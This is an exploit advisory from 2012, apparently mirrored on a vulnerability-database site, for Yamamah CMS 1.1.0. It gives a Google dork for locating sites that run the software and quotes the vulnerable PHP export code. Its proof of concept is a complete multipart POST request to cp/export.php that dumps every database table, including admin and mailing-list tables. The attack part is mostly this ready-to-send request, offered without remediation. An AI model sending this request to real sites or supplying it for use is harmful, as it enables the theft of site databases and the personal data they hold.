`# --------------------------------------- #
Author : L3b-r1'z
Title : Yamamah Database backup Download
Date : 5/27/2012
Email : [email protected]
Site : Sec4Ever.com & Exploit4arab.com
Google Dork : allintext: "Copyright © 2010 All rights reserved.
Powered By : Yamamah Version 1.1.0"
Version : 1.1.0
# --------------------------------------- #
This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
# --------------------------------------- #
1) Bug
2) PoC
# --------------------------------------- #
2) Bug :
File Named Export In Cp Folder :
$tables = $_POST['check'];
$outta = "";
$outta .="-- --------------------------------------------------------\r\n";
$outta .="-- Yamamah.org\r\n";
$outta .="-- Version 1.1.0\r\n";
$outta .="-- http://www.yamamah.org\r\n";
$outta .="-- \r\n";
$outta .="-- Host: " . $_SERVER['HTTP_HOST'] . "\r\n";
$outta .="-- Generation Time: " . $generation_date . " at " .
strftime('%I:%M:%S %p') . "\r\n";
$outta .="-- Server version: " . mysql_get_server_info() . "\r\n";
$outta .="-- PHP Version: " . phpversion() . "\r\n";
$outta .="-- \r\n";
$outta .="-- Database: `".DB_NAME_."`\r\n";
$outta .="-- \r\n";
$outta .="-- --------------------------------------------------------\r\n";
$outta .="\r\n";
An Attacker Can Download the Database via POST From Live Http Header
# --------------------------------------- #
3) PoC :
In POST b0x Put :http://www.site.com/yamamah/cp/export.php
---
Host: site.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.site.com/yamamah/cp/index.php?part=backup&action=showtables
Cookie: PHPSESSID=your SESSID
Content-Type: multipart/form-data;
boundary=---------------------------6224110085844
Content-Length: 1727
---
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check_all"\r\n
\r\n
on\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
acceptable_extensions\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
admin\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
admins_permission\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
categories\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
comments\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
contact_mail\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
images\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
mail_list\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
mail_message\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
news\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
options\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
pages\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
sections\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
sys_name\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="submit"\r\n
\r\n
تØÙ\x85Ù\x8aÙ\x84\r\n
-----------------------------6224110085844--\r\n
SniP :
http://www11.0zz0.com/2012/05/28/00/933943219.png
# --------------------------------------- #
Thx To : I-Hmx , B0X , Hacker-1420 , Damane2011 , Sec4ever , The
Injector , Over-X , Ked-Ans , N4SS1M , B07 M4ST3R.
# --------------------------------------- #
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation